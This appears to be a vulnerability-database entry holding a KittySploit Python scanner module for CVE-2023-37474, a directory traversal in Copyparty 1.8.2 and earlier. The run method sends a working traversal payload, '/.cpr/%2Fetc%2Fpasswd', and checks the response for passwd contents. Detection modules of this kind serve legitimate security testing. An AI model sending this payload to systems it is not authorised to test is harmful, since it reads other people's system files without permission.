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Copyparty <= 1.8.2 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Path traversal in Copyparty via the .cpr subfolder allows access to files outside the root.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Copyparty is a portable file server."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Copyparty <= 1.8.2 - Directory Traversal Detection',
        'description': 'Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'packetstorm', 'traversal', 'copyparty', 'copyparty_project', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/9001/copyparty/',
            'https://www.exploit-db.com/exploits/51636',
            'https://nvd.nist.gov/vuln/detail/CVE-2023-37474',
            'http://packetstormsecurity.com/files/173822/Copyparty-1.8.2-Directory-Traversal.html',
            'https://github.com/9001/copyparty/commit/043e3c7dd683113e2b1c15cacb9c8e68f76513ff',
        ],
        'cve': 'CVE-2023-37474',
    }

    def run(self):
        r = self.http_request(method="GET", path='/.cpr/%2Fetc%2Fpasswd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:[x*]:0:0',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="Copyparty <= 1.8.2 - Directory Traversal detected",
                path='/.cpr/%2Fetc%2Fpasswd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
7High risk
Vulners AI Score7
CVSS 3.17.5
CVSS 37.5
EPSS0.4492
SSVC
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